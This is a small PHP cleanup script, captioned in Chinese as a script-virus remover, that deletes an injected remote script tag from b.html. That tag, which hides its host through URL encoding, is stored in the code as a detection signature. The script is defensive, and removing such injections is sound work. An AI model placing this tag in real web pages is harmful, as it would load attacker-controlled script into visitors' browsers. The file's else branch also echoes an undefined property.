<?php

Class clear_virus{

public $index ='b.html';

public $filepath =array('b.html');

public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";

function open_file(){

if(file_exists($this->index)){

$tmp =file_get_contents($this->index);

if( strrpos($tmp,$this->virus_type)!== false){

$temp =str_replace($this->virus_type,'',$tmp);

$handle =fopen($this->index,'w');

fwrite($handle,$temp);

fclose($handle);

}else{

echo $this->virus_find;

}

}

}

}

$virus =new clear_virus;

$virus->open_file();

?>

清除script 病毒